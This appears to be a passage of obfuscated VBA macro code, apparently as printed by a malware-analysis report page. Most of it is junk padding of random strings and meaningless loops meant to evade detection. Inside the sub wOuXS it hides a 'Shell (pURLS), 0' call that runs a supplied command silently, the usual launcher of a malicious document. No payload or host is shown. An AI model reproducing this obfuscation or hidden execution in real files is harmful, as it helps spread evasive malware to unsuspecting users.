    elxJb = "cVN-bnEiUF[wrs" + "j?eJgDAdlZdPauL" + "%zOpDco)#y"
    TJBVva = 1807 + 1966 + 1342
    xAQTktoR = Right("*Er*^AbQbV]QWK I.@jI", 2)
    While ATmBRG < 172
        xAQTktoR = StrReverse("u)uuxG!]WFX")
        Scbbi = Left("A-dSl]jDD)Hx%@_wbiq", 2)
        elxJb = Right("^%aljPtIoVW", 2)
        xAQTktoR = LTrim("]gUfny)!.o#]J")
        oakfq = UCase("S]RELaZ?)aTv")
        Scbbi = 1173 - 1106 - 1206
        ckgPJpXz = Left("KzrhQ$O*j](vCMjGJTcG", 5)
        vOsOmRR = LTrim("lNp^$!?)gzJfz)]_G#")
        ckgPJpXz = StrReverse("LooAE%IoHZ[UZBDo")
        ATmBRG = ATmBRG + 3
    Wend

    xAQTktoR = UCase("OTr-eeT%AuQ_AygR")
    elxJb = LTrim("kGMebCuHcT")
    tgDqXn = "SaaPfptsUsJqfiqBqtYJMeyaMR"
End Function

Private Sub wOuXS(pURLS As String, QaxHcJq As String, sPSfeF As String, PcEsnaC As String)
    TJBVva = StrReverse("&&&?L(d XvzS")
    oakfq = RTrim("FEPwU[-m.IDyqjuHr")
    Scbbi = Left("!tj$eFG*ekfxmIi.)Up", 3)
    elxJb = "iuB%f!jwMYU(NDr-I" + "%DSTWwgdtm$z*" + "&gDNSSkY-cjpj"
    hmbmMed = 530 - 1165 - 1706
    SjRko = 1762 - 216 - 1528
    For gViCyJ = 0 To 61
        YqhDM = "@xq)DUrcVSebfu" + "OWF?ayFEsiDZWVT?Dd" + "@hhaHz!oV-lDkrD[&"
        hmbmMed = 830 - 478 - 810
        oakfq = UCase("sGz*)_Fi&qoibd&m_")
        hmbmMed = LTrim(".snkjw!vlhPY")
    Next gViCyJ
    hmbmMed = 1891 - 1323 - 1106
    While YSCrmd < 167
        YqhDM = 1529 + 869 + 627
        xAQTktoR = Right("^CQWALfEndNZ", 2)
        LxYMBcb = Left("nz)VQnx#(^s!", 3)
        Scbbi = LTrim("pH?[gs j#*FWtI?G.U#")
        elxJb = RTrim("d]p Ud)-Vx*FI.Xv.t$")
        xAQTktoR = Space(2)
        Scbbi = Space(13)
        Czaxi = Space(8)
        xAQTktoR = UCase("XBwJohvys&.ibFKuymc")
        Scbbi = LTrim("&u bpHkv]eJpFa]?d")
        YSCrmd = YSCrmd + 2
    Wend
    vOsOmRR = "aJpw.Q_DRyEgdv" + "w)._^&ZH?IRtVGNmd" + "&)D&D^oGd*Q"
    Shell (pURLS), 0
    SjRko = Right("u-f_Y#_qMu", 4)
    LxYMBcb = "yBWx^#qv]uQ^sl" + "wIpqfyD?t%aj.mp" + "te(H_jRBil!ETv)fIg"
    vOsOmRR = 708 + 1767 + 1468
    While BuokAe < 234
        YqhDM = Space(6)
        YqhDM = StrReverse("oR*DOwfe Ky")
        oakfq = 955 + 1869 + 999
        xAQTktoR = Space(6)
        Czaxi = Space(19)
        ckgPJpXz = "cTyqdqHxmRcRl#D(" + "s**GdzmsTmXqFW" + "EJ@(J!Nm]cDA["
        vOsOmRR = 217 + 578 + 1609
        BuokAe = BuokAe + 2
    Wend
    TJBVva = Space(19)
    hmbmMed = Right("m#fDN?y*Ep)WF*z&JM", 5)
    TJBVva = UCase("wxqGrCAaYgoV")
End Sub

Private Function FpIfyS(EzpjIVl As Double, pCrqAL As Integer, wvkfpmC As String, VZUPRS As Boolean) As String
    SjRko = LTrim("z?v$U#.qQ&I-fWY ")
    vOsOmRR = Space(9)
    xAQTktoR = 477 + 1132 + 740
    vOsOmRR = Right("qTNUbcxInU#]kD", 5)
    LxYMBcb = StrReverse("wY[w?L!g(I")
    Scbbi = Left("cZ$D ^f Z.FF$h*$K?kk", 4)
    SjRko = UCase("-ovhG$S&-@V])u")
    vOsOmRR = Right("wT!(JXkq.hBBBa#pg", 3)
    ckgPJpXz = 1530 - 1684 - 719
    Scbbi = LTrim("Skw]Eg(SzYxXrSgXG")
    SjRko = StrReverse("rp^##PEb-a")
    vOsOmRR = 1794 + 1137 + 1309
    hmbmMed = Left("j]Hjl)B$hu)kJaj", 4)
    Czaxi = Space(8)
    SjRko = RTrim("YvVEFhBkquxCfUd*gq!")
    Scbbi = 1203 + 1215 + 507
    oakfq = Space(10)
    SjRko = 1359 - 846 - 416
    Scbbi = Space(17)
    YqhDM = LTrim(")qFLqQp)JvM_ycn")
    vOsOmRR = Left("HQs-kbYMMAor@aA", 4)
    LxYMBcb = Left("-pj^rOp@Jv", 2)
    For DQIGpm = 0 To 378
        hmbmMed = Left("* xJr#niILhvhFT-b r", 5)
        LxYMBcb = 1549 - 1110 - 472
        hmbmMed = RTrim("D[StcHaph& tH")
        ckgPJpXz = RTrim("CankEbIZ@VA")
        LxYMBcb = Left("-HFlN[(qsfRHd?Mhnq?D", 5)
    Next DQIGpm

    hmbmMed = 764 - 560 - 127
    Czaxi = StrReverse("d$nR^hW*#aQgJ")
    elxJb = Space(7)
    Scbbi = LTrim("rXA]tuMOtlMf")
    xAQTktoR = LTrim("He]qLwMjbH!_*iH")
    oakfq = 976 - 1702 - 1206
    xAQTktoR = LTrim("@b]ekF uKMTpEs")
    Czaxi = 1362 + 490 + 1504
    ckgPJpXz = 664 + 594 + 1793
    FpIfyS = "ACKjmYxelkFguFApWRtCSycsNYmZOqZV"
End Function

Private Function enEose(ruZGZv As String, qJxuoTJ As Boolean, ElbICJZ As Double, jnoVjH As Integer) As String
    For snlYuW = 0 To 185
        Czaxi = StrReverse("(pbdBc_dIacqBgTNM^Q_")
        Scbbi = UCase("nUArMgJ&hxm")
        elxJb = LTrim("QLYOqMs$$D#Gp&Ri%")
        vOsOmRR = StrReverse("-(IBp slaM")
        oakfq = StrReverse("S[(QIY!RyCAX*J.mPge")
        LxYMBcb = LTrim("QGRfJ[V]ZWVOgef.yMx")
        oakfq = Left("R[xGgJ#tlq", 3)
        ckgPJpXz = StrReverse("Vg@T.MWGANDp")
        ckgPJpXz = UCase("db bTmMmDCXZxuDiGtW ")
    Next snlYuW

    oakfq = 116 - 427 - 1553
    hmbmMed = LTrim("auOSTXhASnebKv")
    TJBVva = "kiu loTbm@P" + "ce&!cUPqECQU[" + "h_y)VUCHw*#!"
    oakfq = 444 + 993 + 616
    SjRko = Space(11)
    SjRko = LTrim("Te*jeeYinHBDo?(")
    ckgPJpXz = Space(17)
    hmbmMed = RTrim("hQVniQpSo?!$PXdW$Ry")
    SjRko = "-pv[y(Fx-g-wp*I.QBpZ" + "aSlTGqJ!_spjgP&" + "j$a)Oe$EEfG%L]rdYtah"
    YqhDM = StrReverse("pfaWy-UL!S^")
    SjRko = Right("hv]R&#))gXTq-", 3)
    elxJb = Space(8)
    oakfq = LTrim("$kWz^^EWznvh")
    elxJb = 1528 + 684 + 1202
    Czaxi = RTrim("(LxFi*gC%@Q(E%")
    YqhDM = 916 - 298 - 1070
    vOsOmRR = RTrim("ad#Cb!f]nOlu[xhlUOc")
    xAQTktoR = Left("[FSoZsnev@", 4)
    LxYMBcb = LTrim("nubv?nY(sc%.U")
    ckgPJpXz = 729 - 104 - 1369
    vOsOmRR = StrReverse("$v! bXNbrzo?")
    hmbmMed = UCase("KG[jcp*nhGGPHZn")
    TJBVva = LTrim(".JmKOK*&*EI")
    For uLaxga = 0 To 366
        Czaxi = Left("P?CnNL[M^LgOj(Xr", 4)
        hmbmMed = 718 - 1753 - 1320
        SjRko = Left("_@l#vreCdcG[lWFI^vqd", 5)
        Scbbi = "bHyG(sEY@Qzkl_" + "Pt# lQ? D.D%" + "iP Z#aXBPTk_WGAU"
        LxYMBcb = Left("QQWv[z(()jYXZVlcNv", 2)
        LxYMBcb = StrReverse("&jpDqq#Qt@m#")
        oakfq = Right("Af!bUJ@ZC!Uf", 3)
        SjRko = Left("#h]EJX%Nq[pxmH^eOE", 5)
        elxJb = "#.uim^jJ!TAu" + "eYwOheLxF$F" + ")nLqgRBd PrfzO)h"
        oakfq = "zG@.E^qhbS^[Eyk" + "dFK!yb!?IL]k" + "PqoPV!kZnk.am"
    Next uLaxga

    ckgPJpXz = Right("DfcyRkALF^#AA", 2)
    LxYMBcb = "Vs*momHH?R" + "Wlq!RbK^CH?uCIBxxc" + "bKb]kUSb!gFXZhyc *cD"
    ckgPJpXz = Space(17)
    For uxHgoq = 0 To 262
        YqhDM = Space(10)
        Czaxi = Space(4)
        oakfq = RTrim("(x(lyf-rud]X^o%p[")
        oakfq = UCase("NdZ@ye^mtiJA^tf#sH")
        Czaxi = 1378 + 576 + 892
        vOsOmRR = "HaCoKJ]cqFBJY " + "kMCDVylQwqWle-[Vaq" + "BVyXymDfEw.U)Z#W"
        SjRko = "do_P]vd[?U#wHn#!_" + "y&T dpe%t)SVi%Zd" + "i^N_PihiWDEEY%HHihIs"
        xAQTktoR = Left("B[len-%ycOnVw!n", 5)
    Next uxHgoq

    oakfq = Right("((aVZDG$h.yvievo_BZ", 5)
    Czaxi = Right("DxKmAAB?x-$&UOX.", 4)
    While jlvPPn < 46
        TJBVva = Right("Q*bEM i]Cv", 5)
        elxJb = LTrim("BFw#hNTXIdbA@uNxM^-d")
        jlvPPn = jlvPPn + 1
    Wend

    Scbbi = Right("Z(b#NllUq#-j", 2)
    SjRko = Space(1)
    vOsOmRR = ".?aO)%nww$?OmS" + "nB%k%]cPLx@)-sK)!" + "VdsuEizV[MEU.!"
    vOsOmRR = LTrim("XsTCF]y-?JjrQFD")
    Scbbi = "ml^oc.et(A_rL" + "wPijIigmh]e#dT[q" + "-lk[NI](tvhZ][Rr^G(D"
    YqhDM = Right("KLvQvi-fIBvS*Fakg!_", 5)
    enEose = "fQrjgtLZuTDqnsWIoPzQykJYeCHYeEgUUWDYZh"
End Function

Private Function wjxJpj(KjaMdwz As String, tQbCaat As Double, bIRDPV As Double) As String
    Scbbi = 718 - 568 - 520
    For mimaGF = 0 To 72
        SjRko = Space(4)
        elxJb = LTrim("DQ!pjaM.(D^kE?$*")
    Next mimaGF

    LxYMBcb = Right("?RNH )B?D]blj_(jR-(S", 5)
    vOsOmRR = "P-$gs)VKxaW" + "E%_P!Gtzg[" + "[BZSgiy*csB"
    hmbmMed = "fp?Q@flZCFMK% UysE" + "ylLPYBqqX(avU" + "X$vSB&vXFhwsTTXWI]"
    ckgPJpXz = 947 + 1718 + 246
    oakfq = StrReverse("MLNwSeEAJA(mBeR")
    LxYMBcb = RTrim("UraG&w(Foo*Nh#_BU")
    Czaxi = LTrim("LhR]UneZjBq]Jj]o")
    hmbmMed = Left("L_OGRR@^gK^", 2)
    elxJb = StrReverse(".omXvCe#gXXCznJUo?)_")
    xAQTktoR = LTrim("tlRGYPH!mgxcZzIUT")
    hmbmMed = ".URm Nr_OcYBT.xS?r" + "@]D!nOM VwtWi[OE" + "Nw dOhlh$_g!!"
    ckgPJpXz = StrReverse("r.vsda !MucTmH")
    ckgPJpXz = 740 - 1332 - 1024
    elxJb = UCase("]vWUnCKicw#T?CCr?l")
    YqhDM = LTrim("U.(UaljZ&Tjr#)*&")
    oakfq = StrReverse("m FKVlH(]PFeRx")
    Scbbi = Left("EOU .bgbZz_rTDSe", 2)
    Scbbi = 239 - 1570 - 444
    oakfq = 1088 + 1320 + 575
    YqhDM = UCase(")[!Zyag]jg*GdPkaQlns")
    Scbbi = Left("ybL_WzW$@sm", 5)
    elxJb = RTrim("$T[?jklT#gf")
    hmbmMed = Left(" jlrRqYccCznS", 3)
    vOsOmRR = LTrim("d #yees@uL")
    TJBVva = UCase("Vmi!MIjmM]-")
    LxYMBcb = Left("hAAfGNrN*?PaRMR", 5)
    For zEdffg = 0 To 340
        YqhDM = Space(15)
        oakfq = Left("dLMONSni^o@ qMkV", 2)
        oakfq = 1462 - 158 - 1436
        vOsOmRR = StrReverse("#^ ZbNK!.WZ-W-dkvk")
        hmbmMed = RTrim("rrcOy^SPTR#-")
        oakfq = Right("SXXn-AbQTCo)XX[iVE", 2)
    Next zEdffg

    ckgPJpXz = LTrim("Txc]$ZhQ&sywnL-P")
    While BclgRa < 146
        hmbmMed = 1825 - 1084 - 1073
        SjRko = 1144 + 1893 + 1655
        LxYMBcb = RTrim("aVViedFvrv")
        Czaxi = "z[.rJd_jI^" + "aTJm )]Zq-!" + "^JTg*?UeH??"
        BclgRa = BclgRa + 3
    Wend

    hmbmMed = 761 + 1158 + 519
    SjRko = 520 - 807 - 1051
    TJBVva = 1797 + 1254 + 1690
    LxYMBcb = LTrim("vpjCMV)!pYvwK)EgBMq")
    oakfq = Right("@?HIohKy&f", 5)
    Czaxi = "@RjiJgp-YAzjY(gFN$q*" + "OPw$wEJhiygpY?.daO_g" + "pGh&#lizAi-icM-W"
    oakfq = Left("C*KiGI]?#?F?", 4)
    wjxJpj = "pjPRCUssZLFnBFXqSGpAeRAfFFsNHtATKAviYV"
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.